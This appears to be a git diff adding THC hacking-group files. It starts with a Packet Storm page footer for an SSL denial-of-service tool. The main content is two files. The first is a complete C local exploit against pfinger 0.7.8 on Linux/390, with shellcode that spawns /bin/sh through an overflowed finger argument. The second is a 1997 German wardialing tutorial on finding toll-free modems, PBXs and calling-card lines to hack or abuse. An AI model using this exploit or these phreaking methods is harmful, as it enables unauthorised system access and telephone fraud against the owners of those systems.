+    <p class="copy">&copy; 2018 Packet Storm. All rights reserved.</p>
+    </div>
+
+    <div class="f-box">
+    <dl>
+      <dt>Site Links</dt>
+      <dd><a href="/news/date/">News by Month</a></dd>
+      <dd><a href="/news/tags/">News Tags</a></dd>
+      <dd><a href="/files/date/">Files by Month</a></dd>
+      <dd><a href="/files/tags/">File Tags</a></dd>
+      <dd><a href="/files/directory/">File Directory</a></dd>
+    </dl>    
+    </div>
+
+    <div class="f-box">
+    <dl>
+      <dt>About Us</dt>
+      <dd><a href="/about/">History &amp; Purpose</a></dd>
+      <dd><a href="/contact/">Contact Information</a></dd>
+      <dd><a href="/legal/tos.html">Terms of Service</a></dd>
+      <dd><a href="/legal/privacy.html">Privacy Statement</a></dd>
+      <dd><a href="/legal/copyright.html">Copyright Information</a></dd>
+    </dl>
+    </div>
+
+    <div class="f-box">
+       <dl>
+      <dt>Services</dt>
+      <dd><a href="/services/">Security Services</a></dd>
+      <dt style="margin-top:1.5em;">Hosting By</dt>
+      <dd><a href="http://www.rokasecurity.com/">Rokasec</a></dd>
+    </dl>   
+    </div>
+    <div class="f-box">
+    <ul class="f-follow">
+     <li><a href="https://twitter.com/packet_storm"><img width="24" height="24" alt="Follow on Twitter" src="https://packetstatic.com/img1514015884/s_twitter.png" /> Follow us on Twitter</a></li>
+     <li><a href="https://www.facebook.com/packetstormfeed"><img width="24" height="24" alt="Follow on Facebook" src="https://packetstatic.com/img1514015884/s_facebook.png" /> Follow us on Facebook</a></li>
+     <li><a href="/feeds"><img width="24" height="24" alt="View RSS Feeds" src="https://packetstatic.com/img1514015884/s_rss.png" /> Subscribe to an RSS Feed</a></li>
+    </ul>
+    </div>
+
+  </div>
+</div>
+
+<div id="o-box"><img src="https://packetstatic.com/img1514015884/o_close.png" alt="close" height="30" width="30" id="o-close" /><div id="o-main"></div></div>
+
+
+<script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-18885198-1']); _gaq.push(['_setDomainName', '.packetstormsecurity.com']); _gaq.push(['_trackPageview']); (function() {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})(); </script><noscript><img src="https://ssl.google-analytics.com/__utm.gif?utmwv=1.3&amp;utmn=2302994328&amp;utmcs=ISO-8859-1&amp;utmsr=31337x31337&amp;utmsc=32-bit&amp;utmul=en-us&amp;utmje=0&amp;utmfl=-&amp;utmcn=1&amp;utmdt=Download%3A%20THC%20SSL%20Denial%20Of%20Service%20Tool%201.4%20Windows%20Version%u2248%20Packet%20Storm&amp;utmhn=packetstormsecurity.com&amp;utmr=-&amp;utmp=%2Ffiles%2Fdownload%2F106155%2Fthc-ssl-dos-1.4-win-bin.zip&amp;utmac=UA-18885198-1&amp;utmcc=__utma%3D32867617.2302994328.1528088378.1528088378.1528088378.1%3B%2B__utmz%3D32867617.1528088378.1.1.utmccn%3D(direct)%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)" width="2" height="2" alt="" /></noscript>
+<!-- Mon, 4 Jun 2018 04:59:38 GMT -->
+</body>
+</html>
diff --git a/Exploits/thc390pfinger.c b/Exploits/thc390pfinger.c
new file mode 100644 (file)
index 0000000..a5d6a40
--- /dev/null
@@ -0,0 +1,54 @@
+// linux390 (31bit) pfinger-0.7.8 <= local exploit
+// 390 sploit by jcyberpunk@thehackerschoice.com
+// diz is just a lame proof of concept sploit
+// to show how easy 390linux exploitation is
+
+#include <stdio.h>
+#include <unistd.h>
+
+char shellcode[]=
+"\x0c\x10"              /* bassm        %r1,%r0                 */
+"\x41\x90\x10\x48"      /* la           %r9,72(%r1)             */
+"\xa7\xa8\xfb\xb4"      /* lhi          %r10,-1100              */
+"\xa7\x68\x04\x56"      /* lhi          %r6,1110                */
+"\x1a\x6a"              /* ar           %r6,%r10                */
+"\x42\x60\x10\x48"      /* stc          %r6,72(%r1)             */
+"\x17\x22"              /* xr           %r2,%r2                 */
+"\x0d\xe9"              /* basr         %r14,%r9                */
+"\xa7\x68\x04\x7a"      /* lhi          %r6,1146                */
+"\x1a\x6a"              /* ar           %r6,%r10                */
+"\x42\x60\x10\x49"      /* stc          %r6,73(%r1)             */
+"\x0d\xe9"              /* basr         %r14,%r9                */
+"\xa7\x68\x04\x57"      /* lhi          %r6,1111                */
+"\x1a\x6a"              /* ar           %r6,%r10                */
+"\x42\x60\x10\x49"      /* stc          %r6,73(%r1)             */
+"\x41\x20\x10\x4c"      /* la           %r2,76(%r1)             */
+"\x50\x20\x10\x54"      /* st           %r2,84(%r1)             */
+"\x41\x30\x10\x54"      /* la           %r3,84(%r1)             */
+"\x17\x44"              /* xr           %r4,%r4                 */
+"\x42\x40\x10\x53"      /* stc          %r4,83(%r1)             */
+"\x50\x40\x10\x58"      /* st           %r4,88(%r1)             */
+"\x41\x40\x10\x58"      /* la           %r4,88(%r1)             */
+"\x0d\xe9"              /* basr         %r14,%r9                */
+"\x0b\x17"              /* svc n after self-modification        */
+"\x07\xfe"              /* br           %r14                    */
+"\x2f\x62"              /* /b                                   */
+"\x69\x6e\x2f\x73"      /* in/s                                 */
+"\x68\x5c";             /* h\                                   */
+
+int main(void)
+{
+ unsigned int i;
+ unsigned char buf[256],*b;
+ unsigned char sc[256]; 
+ unsigned char nop[]="\x17\x44";
+ memset(buf,0,256);
+ memset(buf,'x',160);
+ b = sc;
+ for(i=0;i<=100;i++) *b++ = nop[i%2];
+ *(unsigned long *)(buf+160)=0x7fffff92; 
+ memcpy(&sc[100-strlen(shellcode)],shellcode,strlen(shellcode)); 
+ memcpy(sc,"evil=",5); 
+ putenv(sc);
+ execl("/usr/bin/finger", "finger", buf, NULL);
+}
diff --git a/Papers/0130scan.txt b/Papers/0130scan.txt
new file mode 100644 (file)
index 0000000..69ef2c8
--- /dev/null
@@ -0,0 +1,573 @@
+\r
+\r
+\r
+\r
+\r
+\r
+                              ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»   \r
+                              º 0130 Scanning º    \r
+                              ÈÍÍÍÍÍÍ» ÉÍÍÍÍÍͼ   \r
+                       ÚÄÄÄÄÄÄÄÄÄÄÄÄĽ ÓÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+                       ³ (c) 1997 by van Hauser / THC ³\r
+                       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+\r
+\r
+\r
+\r
+\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Einleitung ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Eigentlich wollte ich ueber unix hacking schreiben, aber nachdem der\r
+   urspruengliche Schreiber den Artikel ueber 0130 Scanning nicht\r
+   rechtzeitig fertigstellen konnte, musst ich leider in die Tasten greifen :(\r
+   Es ist mir ein grosses Anliegen, weil die Szene in Deutschland immer kleiner\r
+   und elitaerer wird, und neue Leute kaum mehr nachruecken.\r
+   Daher ist dieser Text vor allem etwas fuer Anfaenger und Leute die sich\r
+   noch nie ausgiebig mit 0130 Scanning beschaeftigt haben - fuer Experten\r
+   wird es nur wenig neues zu lesen geben.\r
+   Es wird wohl schnell auffallen, dass ich Beispiele und Bezug meistens zum\r
+   THC-Scan Programm machen werden - weniger aus Prestige weil ich es selbst\r
+   programmiert habe, sondern weil es ohne Uebertreibung das momentan beste\r
+   Scanner Programm ist, das zu haben ist. Es wurde vor ueber 1 1/2 Jahren\r
+   begonnen und mit enger Zusammenarbeit von aktiven Scannern, Blueboxern,\r
+   Carrier Hackern etc. weiterentwickelt und optimiert, um jedem, der sich\r
+   irgendwie mit Scanning beschaeftigt (beschaeftigen muss) eine optimale\r
+   Arbeitsplatform zu schaffen - doch dadurch wurde es sehr komplex.\r
+   Aktuelle Version ist uebrigens die v1.4\r
+   Doch genug der Schwafelei, kommen wir zum Inhalt :\r
+\r
+\r
+                þ Einleitung\r
+                þ Was ist "0130 Scanning" ?\r
+                þ Warum ist es fuer jeden interessant ?\r
+                þ Vor-/Nachteile des Hand-/Computer-Scannings\r
+                þ Wie identifiziert man Rufnummern und was tut man danach ?\r
+                þ Die Wahl des Modem und dessen Konfiguration\r
+                þ Wie arbeiten Scanner-Programme, welche gibt es?\r
+                þ Tips & Tricks zum Scannen\r
+                þ Tips zum Benutzen erweiterer Funktionen von THC-Scan\r
+                þ Die Gefahren des Scannens\r
+                þ Schlusswort\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Was ist "0130 Scanning" ? ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   "Wardialing", "Tollfree Scanning", "0130 Scanning", "0-800 Scanning" :\r
+   Alles beschreibt das gleiche, das Absuchen und Identifizieren von \r
+   Telefonrufnummern, zumeist gebuehrenfreie.\r
+   In Deutschland sind z.B. alle Rufnummern mit der Vorwahl 0130 kostenlos\r
+   anzuwaehlen. Man ruft dann ein paar oder alle Nummern mit dieser Vorwahl\r
+   an und notiert sich was man da gefunden hat.\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Warum ist es fuer jeden interessant ? ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Wer Novize ist und sich fuer Hacking/Phreaking interessiert weiss meistens\r
+   nicht wie und wo er ueberhaupt anfangen soll. Texte gibt es viele,\r
+   gescheite wo man was draus lernt aber nur sehr wenige. Besonders fuer\r
+   Anfaenger ist es meistens fast unmoeglich irgendeinen Einstieg zu finden,\r
+   wenn man niemanden kennt, der einen was zeigt und erklaert.\r
+   Besonders Praeferenzen zu finden was man gerne machen moechte ist schwer.\r
+   Man will ja nur ein toller "Hacker" werden - ja aber was fuer einer?\r
+   BBS Hacker, VMB Hacker, Unix Hacker, PBX Hacker, Modem Hacker, Scanner,\r
+   Blueboxer, ..., ... ??\r
+   Es gibt soviel womit man sich beschaeftigen *koennte* aber soviel Zeit hat\r
+   man in seinem Leben gar nicht, man muss sich also spezialisieren.\r
+   Da man aber ja gar nicht wissen kann was einem liegt bevor man es nicht\r
+   ausprobiert hat ist 0130 Scanning DAS ideale Mittel um einen Einstieg zu\r
+   finden und zu schauen was einem Spass macht.\r
+   Und das beste daran : es ist legal. Man kann sich also vergnuegen, lernen,\r
+   einen Einblick ins Hacking/Phreaking bekommen und trotzdem keine Straftat\r
+   begehen. Trotzdem gibt es ein paar Gefahren, doch dazu mehr in dem Abschnitt\r
+   "Die Gefahren des Scannings".\r
+   Doch auch fuer andere ist es Interessant. z.B. fuer Unix Hacker, denn\r
+   auf 0130 gibt es einige Moeglichkeiten in Systeme einzudringen die man\r
+   vom Internet aus nicht hat, oder auch nur um kostenlos ins Internet zu\r
+   kommen.\r
+   Was findet man nun beim Scanning, und was ist eigentlich eine VMB/PBX etc.?\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Wie identifiziert man Rufnummern und was tut man danach ? ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Die 0130 Nummern sind bislang in folgende Nummerngruppen eingeteilt :\r
+\r
+   0130-8xxxxx\r
+   0130-1xxxxx\r
+   0130-xxxx (von 2xxx bis 7xxx, 0xxx und 9xxx)\r
+\r
+   also insgesamt 208000 moegliche Nummern. Wenn man also sehr fix ist, und\r
+   250 Anrufe/Stunde schafft braucht man nur ca. 832 Stunden = also ueber einen\r
+   Monat ohne Schlaf/Essen etc. ;-)\r
+   Wer sowas also mit System alles abscannen will sollte sich am besten mit\r
+   anderen zusammentun. Man muss aber dazu sagen, dass viele Bereiche nur zu\r
+   ca. 1-3% vergeben sind, so z.B. 0130-87xxxx bis 0130-89xxxx\r
+\r
+   Folgendes kann man beim Scannen finden :\r
+\r
+     SPRACHNUMMER - das haeufigste. Eine Bestellhotline fuer Firmen,\r
+                    Servicedienste fuer alles moegliche. (ADAC z.B.)\r
+                    Kann interessant sein, weil man sich manchmal\r
+                    kostenlose Sachen und Informationsmaterial\r
+                    zuschicken lassen kann. (Zeitungen wie die FAZ z.B.)\r
+                    Erkennungsmerkmal: wie sich die Personen melden ;-)\r
+\r
+     KREDITKARTENNUMMERN - Sind eher selten. Man kann ueber solche Nummern\r
+                           Telefongespraeche zu Lasten von Kreditkarten \r
+                           (z.B. VISA -> VISA-Phone) fuehren, oder aber\r
+                           sogenannte Calling Cards benutzen (z.B. AT&T, MCI).\r
+                           Bei manchen Nummern ist ein Operator dran, bei\r
+                           anderen ein Computer, andere beides.\r
+                           Man kann z.B. mit Operatorn reden was das genau\r
+                           fuer Calling Cards sind, sich vielleicht Test-\r
+                           karten geben lassen oder einfach versuchen mit\r
+                           Glueck oder System Calling Cards zu hacken.\r
+                           Erkennungsmerkmal: Die Stimme (Operator oder\r
+                           Computer) fragt nach einer Kartennummer oder PIN\r
+\r
+     VOICE MAIL BOX - oder kurz VMB genannt ist so etwas wie das\r
+                      Anrufbeantworter-System einer grossen Firmen \r
+                      Telefonanlage. Es gibt verschiedene Endnummern, an\r
+                      denen man fuer die jeweiligen Leute eine Nachricht\r
+                      hinterlassen kann. Fuer Hacker & Phreaker ist so ein\r
+                      System ideal, da man so sehr einfach und komfortabel\r
+                      Austauschen kann.\r
+                      Mehr Informationen hierfuer gibt es im THC-MAG #2.\r
+                      Erkennungsmerkmal: Eine Stimme vom Band fragt nach einer\r
+                      "Extension of the person you are calling" und melden sich\r
+                      meist am Anfang mit "Welcome to XYZ ..."\r
+\r
+     ANRUFBEANTWORTER - Jeder weiss was ein Anrufbeantworter ist und was man\r
+                        damit macht. Findet man halt auch, das einzige was\r
+                        sich darueber sagen laesst ist, dass man sie meistens\r
+                        von ausserhalb mit einem Code abhoeren kann und bei\r
+                        manchen sogar neu besprechen. Kann man zu netten Sachen\r
+                        verwenden.\r
+                        Erkennungsmerkmal: Wird wohl jeder wissen\r
+\r
+     PRIVATE BRANCH EXTENSION - oder kurz PBX genannt. Solche Systeme verlangen\r
+                        die Eingabe eines Codes, wonach man z.B. eine VMB, ein\r
+                        Modem oder sogar einen Waehlton zum weitertelefonieren\r
+                        bekommt. Es ist sehr beliebt unter Warez-Tradern solche\r
+                        mit einem Wahlton zu finden um sie solange fuer ihre\r
+                        Softwareschiebereien zu benutzen bis die Firma pleite\r
+                        oder sie geschnappt wurden.\r
+                        Mehr Informationen in DIESEM MAGAZIN (pbx.thc)\r
+                        Erkennungsmerkmal: Langer Ton oder Stille, nach einiger\r
+                        Zeit oder Eingabe einiger Ziffern etwas was sich wie\r
+                        ein Alarmton anhoert oder das Beenden der Verbindung.\r
+\r
+     MODEM DIALUP - An manchen Nummern haengt auch ein Modem dran - was man\r
+                    dann einfach versuchen kann zu Hacken. z.T. sind da\r
+                    Mailboxen dran, Unix Dialups etc. etc.\r
+                    Mehr Informationen in DIESEM MAGAZIN (carriers.thc)\r
+                    Erkennungsmerkmal: Schrille Toene, rufst du mit deinem\r
+                    Modem da an, siehst du "CONNECT" und danach noch mehr.\r
+\r
+     FAX EMPFANG / FAX POLLING - An einigen Nummern haengt dann auch mal ein\r
+                                 Fax. Bei Fax-Polling kann man sich dort\r
+                                 Faxe abholen, aber das ist auch alles was\r
+                                 man da so sinnvolles machen kann.\r
+                                 Erkennungsmerkmal: Schrille Toene, rufst du\r
+                                 mit deinem Modem an bekommst du "NO CARRIER"\r
+                                 und wenn du dein Modem auf FAX umstellst ein\r
+                                 "CONNECT FAX"\r
+\r
+   KEIN ANSCHLUSS UNTER DIESER NUMMER - sehr haeufig. *seufz*\r
+                                        Es lohnt sich trotzdem solche Nummern\r
+                                        zu speichern, denn wenn Firmen sich\r
+                                        sich eine 0130 Nummer schalten lassen\r
+                                        bekommen sie von der Telekom eine, bei\r
+                                        der vorher diese Meldung gab - also\r
+                                        einfach solche Nummern immer wieder\r
+                                        anwaehlen um zu schauen ob da was\r
+                                        neues ist.\r
+\r
+   BESETZT (TUT-TUT-TUT etc.) - es ist halt besetzt. Spaeter nochmal anrufen,\r
+                                aber manche Nummern sind einfach immer besetzt.\r
+                                Solche Nummern nennt man "dauer-busy".\r
+                                Erkennungsmerkmal: Besetzton\r
+\r
+   Das sind alle Typen die man beim Scannen so findet.\r
+   Jetzt ist natuerlich noch interessant, wie sie so prozentual verteilt sind:\r
+\r
+     59% Unbenutzt ("Kein Anschluss" etc.)\r
+     29% Sprachnummern\r
+      3% Modems\r
+      3% Faxe\r
+      2% VMBs\r
+      2% dauer-busy\r
+      1% PBXs\r
+      1% Kreditkartennnummern\r
+\r
+   Das ist aber sehr unterschiedlich von dem genauen Bereich den man abscannt.\r
+\r
+   Uebrigens haben wir alle Modem Nummern abgescanned : es sind insgesamt\r
+   ueber 1000 die man finden kann ;-)\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Vor-/Nachteile des Hand-/Computer-Scannings ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Scannen von Hand oder scannen mit/vom Computer?\r
+   Das war immer eine sehr umstrittene Diskussion.\r
+\r
+                  HAND                MIT COMPUTER        NUR COMPUTER\r
+Geschindigkeit    langsam             sehr schnell        schnell\r
+Identifizierung   detailliert         sehr detailliert    grob (*)\r
+Modem Scanning    schlecht            sehr gut            gut\r
+PBX Scanning      sehr gut            gut (*)             mittel\r
+VMB Scanning      sehr gut            gut (*)             nicht moeglich (*)\r
+Sprachidentifiz.  sehr gut            gut                 mittel\r
+Selbst Sprechen   sehr gut            schlecht (*)        ---\r
+Weitere Nachteile Zettel+Stift immer  Das Modem gibt gel- wie "MIT COMPUTER" u.\r
+                  noetig, schlechte   egentlich ein BUSY  zusaetzlich: Nur sehr\r
+                  Handschrift,        aus bei einer Stim- grobe Identifikation\r
+                  waehlen ist langsam me. Es ist nicht    moeglich und manchmal\r
+                                      moeglich bei PBX/   eine falsche.\r
+                                      VMB nachzuwaehlen (*)\r
+Weitere Vorteile  Erweiterte Informa- leichte und schnel- Alles geht automa-\r
+                  tionen moeglich,    le Identifikation.  tisch, man muss nicht\r
+                  z.B. mit dem Oper-  Ausgabe im Modem-   zu Hause sein.\r
+                  ator sprechen, VMB  Speaker manchmal\r
+                  bedienen, C5 Toene  nicht gut vestaend-\r
+                  hoeren etc.         lich.\r
+\r
+   (*) -> Das sind Nachteile, fuer die im THC-Scan eine Abhilfe geschaffen\r
+          wurde, und sind bisher nur in diesem Programm implementiert.\r
+          Siehe weiter unten.\r
+\r
+   Fuer wen ist nun welche Technik interessant?\r
+\r
+     þ Von Hand - eigentlich nur fuer Leute die a) immer mit den Operatoren\r
+                  reden wollen und b) gerne mit VMB und PBX spielen aber das\r
+                  mit dem Computer zu muehsam finden\r
+     þ nur Computer - nur interessant fuer Leute die nur an PBXs oder\r
+                      Modems interessiert sind.\r
+     þ mit Computer - Fuer alle anderen, also nicht auf sowas spezialisierte.\r
+\r
+   Als Anfaenger sollte man immer "mit Computer" oder "von Hand" scannen.\r
+                      \r
+   Weshalb immer weniger fuer das umstaendliche Scannen von Hand spricht :\r
+   THC-Scan wurde im laufe der Jahre (hehe) immer weiter optimiert und auch\r
+   an die Beduerfnisse von Phreakern angepasst, die die "von Hand" Methode\r
+   bisher vorgezogen hatten.\r
+   Folgende Funktionen wurden Implementiert, um ein besseres Arbeiten zu\r
+   ermoeglichen, und welche Nachteile sind geblieben:\r
+\r
+     þ Das groesste Problem war immer, dass man nach dem Waehlen des Modems\r
+       nicht mehr weiterwaehlen kann wenn man z.B. auf eine PBX oder VMB\r
+       stoesst. Hierfuer wurde der "Manual Mode" eingebaut, mit dem man einfach\r
+       die Nummer identifiziert. Danach kommt ein Pop-Up Fenster, bei dem man\r
+       nun 0-9, * und # und sogar abcd waehlen kann - und man ist trotzdem\r
+       weiter online und verbunden wie als wuerde man von Hand waehlen.\r
+       Kleiner Nachteil: Das waehlen ist etwas langsamer als mit der Hand.\r
+\r
+     þ Manchmal moechte man sich mit den Operatoren unterhalten, dazu drueckt\r
+       man nun einfach P fuer Pause, und das Modem haengt auf. Vorher muss man\r
+       allerdings schnell den Telefonhoerer abnehmen. Es bleibt leider etwas\r
+       umstaendlich, aber weiter kann man es nicht von der Software her loesen.\r
+       Wer sich nicht sooo oft sich mit Operatoren unterhalten will, fuer den\r
+       ist das eine brauchbare Loesung\r
+\r
+     þ Was bisher nicht automatisch, also nicht mit "nur Computer" zu\r
+       identifizieren war, waren z.B. VMBs, oder "Kein Anschluss ...".\r
+       Beim THC-Scan kann man z.B. festlegen, dass jede VOICE Response\r
+       bei der es vorher nicht gelaeutet hat, als VMB zuzuordnen.\r
+       Spaeter scanned man einfach die Nummern online ab, und schaut einfach\r
+       welche wirklich VMBs sind.\r
+       Seit der Version 1.4 gibt es fuer VMBs und "Kein Anschluss ..." eine\r
+       weitere Moeglichkeit der Identifikation: Die Zeit. Wenn z.B. eine\r
+       VOICE Antwort beim Modem innerhalb von 4 Sekunden nach Waehlbeginn\r
+       kommt ist es "Kein Anschluss ...", und zwischen 4-10 Sekunden und\r
+       keinem RINGING meist eine VMB.\r
+\r
+     þ Ein Nachteil der immer bleiben wird: Ueber den Modemspeaker versteht man\r
+       nicht immer alles :( ... aber bei guten Modems ist es ausreichend.\r
+       Ausserdem wird manchmal eine Stimme vom Modem als BUSY identifiziert,\r
+       was sich leider nicht vermeiden laesst, aber ein gutes Modem macht\r
+       auch das seltener. Man kann zudem ganz bei den meisten Modem die BUSY\r
+       Identifizierung auschalten (AT Xx), der Nachteil ist dann halt, dass\r
+       man immer selbst im Scanner-Programm B fuer Busy druecken muss.\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Die Wahl des Modems und dessen Konfiguration ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Ja welches Modem soll man nun nehmen?\r
+   Es sollte auf jedenfall eines mit guter Qualitaet sein, denn manche\r
+   Modems auf 0130 liegen irgendwo weit weg und es ist viel Rauschen dabei,\r
+   oder sind alt und wollen einen 1200 Baud Connect was nicht jedes Modem\r
+   mehr unterstuetzt. Auch reagieren qualitative Modems besser und schneller.\r
+   Wenn man hauptsaechlich autmatisch scanned, also ohne davor zu sitzen,\r
+   dann sollte das Modem unbedingt eine VOICE Antwort unterstuetzen.\r
+   Alte Zyxels oder USR Sportster untersteutzen keine VOICE Antwort.\r
+   Sehr zu empfehlen sind USR Couriers oder Zyxels, wobei man bei Zyxels,\r
+   wenn es sich um die 1496er Reihe handelt auf ein aktuelles ROM handeln\r
+   sollte - ansonsten halt updaten.\r
+   Ich benutze die Kombination von USR Courier und Zyxel seit langem und finde\r
+   sie unschlagbar. Oft gibt es Probleme mit z.B. Creatix oder billigen\r
+   28.8 Modems. Lasst davon lieber die Finger.\r
+   Wichtig ist es auch, dass ihr ein Modem OHNE Postzulassung kauft, denn sonst\r
+   ist eine Wahlsperre integriert!\r
+\r
+   Zur Konfiguration des Modems : Der Modem-Lautsprecher sollte an sein,\r
+   wenn ihr davor sitzen wollt beim scannen, ansonsten abgeschaltet.\r
+   Das S10 Register sollte hoeher gestellt werden, damit man den Carrier\r
+   nicht verliert wenn das Zielmodem weit entfernt ist.\r
+   Das S11 Register sollte auf zwischen 60-70 gestellt werden, damit schneller\r
+   gewaehlt wird.\r
+   Folgendes sollte bei jedem Modem funktionieren und setzt es in den\r
+   wahrscheinlich optimalen (generischen) Zustand :    AT &F M3 S10=69 S11=64\r
+\r
+   Wer ein Modem mit Wahlsperre hat soll sich aus dem FIDO das Wahlsperren FAQ\r
+   holen wo fuer viele Modems drinnen steht wie man sie abschaltet.\r
+   Wenn das Modem eine VOICE Antwort besitzt sollte diese Modus nur einschalten\r
+   wenn der Computer alleine scannen soll. (AT X? - schaut ins Handbuch)\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Wie arbeiten Scanner-Programme, welche gibt es? ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   Mit wenigen Ausnahmen machen alle Programme folgendes :\r
+   Man traegt seine COM Adresse des Modems ein, sagt von welcher Nummer\r
+   bis welcher Nummer man scannen will und dann legt das Programm los,\r
+   und spuckt am Ende eine Liste mit den gefundenen Modems aus.\r
+   Nur wenige Programme speichern zumindest das, was das andere Modem ausgibt,\r
+   was im vorfeld sehr hilfreich ist, da man schon sieht womit man es zu tun\r
+   hat, und dadurch viel Zeit spart, z.B. der Autoscan von POI (poi-as01.zip)\r
+   und der PHU (phu.zip).\r
+   Somit stellen diese beiden das absolute Minimum dar, was man, wenn man nur\r
+   an Modems interessiert ist, benutzen sollte.\r
+   Moechte man nach PBX scannen, oder online davorsitzen und sich mehr darueber\r
+   notieren ueber die Nummer, dann muss man schon zum Toneloc v1.1 greifen\r
+   (tl-110.zip), allerdings sind die Funktionen recht beschraenkt, nur wenige\r
+   IDs die Nummern zugeordnet werden koennen, ausserdem laeuft es nicht mit\r
+   allen Computers/Modems. Aber wem solche einfachen Identifizierungen wie\r
+   Carrier/Fax/Noted/Girl-Voice/Asshole-Voice/Busy reicht, und bei dem es\r
+   funktioniert, der wird damit zufrieden sein.\r
+   Wer gerne nochmehr machen moechte, erweiterte ID Moeglichkeiten, besondere\r
+   Settings braucht, nach speziellen Sachen scanned, etc. etc. der muss zum\r
+   THC-Scan greifen, ein Konkurrenzprodukt mit auch nur annaehernd gleichem\r
+   Funktionsumfang gibt es leider nicht. (thc-ts14.zip)\r
+\r
+   Wie arbeiten nun solche Programme eigentlich?\r
+   Nun, das Modem wird zuerst initalisiert, und dann der Nummernbereich, der\r
+   gescanned werden soll angerufen. Manche machen das Schritt fuer Schritt,\r
+   andere mit einem Zufallsgenerator. Es wird dann einfach ein "ATDT0130800000"\r
+   an das Modem gesendet, was dann die Nummer anwaehlt.\r
+   Wenn nach 30/50/60 Sekunden, je nach Einstellung, keine Antwort vom Modem\r
+   kommt, ist es ein Timeout, ansonsten wird die Antwort des Modems einer ID\r
+   zugeordnet wie z.B. BUSY -> Besetzt, VOICE -> Stimme, CONNECT -> Modem, etc.\r
+   Allerdings speichern die meisten Programme nur CONNECT -> Modem.\r
+   Toneloc und THC-Scan unterstuetzen ausserdem auch PBX-Scanning.\r
+   Da sich haeufig die PBXen am Anfang mit einem waehltonaehnlichen Ton melden\r
+   wird das ausgenutzt, indem man dem Modem den Befehl "ATDT0130800000W;"\r
+   sendet zum anrufen. Wenn nun ein OK als Antwort kommt hat man eine PBX\r
+   gefunden, wenn ein NO CARRIER kommt, oder die Zeit ueberschritten wurde\r
+   war es irgendetwas anderes. Allerdings findet man damit nicht nur PBXen\r
+   sondern auch Modems, die sich versuchen zu initialsieren und dann auch einen\r
+   Ton angeben der einem Waehlton aehnelt. So kann man also den Computer\r
+   alleine nach Modems und PBXs scannen lassen.\r
+   Angemerkt werden soll noch, dass manche PBXen sich auch nur so aeussern,\r
+   das sie still sind, um solche zu finden muss man "ATDT0130800000@;" senden,\r
+   allerdings fuehrt es haeufig zu einer falschen Identifikation.\r
+   Wie ihr seht, arbeiten solche Programme recht simpel und erst\r
+   Sonderfunktionen machen etwas Programmieraufwand. Wer also was ganz\r
+   spezielles braucht, kann es sich leicht selber programmieren.\r
+\r
+\r
+\r
+     ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿\r
+     ³ Tips & Trick zum Scannen ³\r
+     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ\r
+\r
+   þ Manche Firmen haben Nachts statt ihrer Beratungshotline eine VMB\r
+     laufen, also lohnt es sich sehr wenn man nachts scanned.\r
+   þ Die Bereiche zum scannen sind riesig, ihr habt also nicht nur mehr\r
+     davon wenn ihr euch zu ScanTeams zusammentut, sondern lernt ausserdem\r
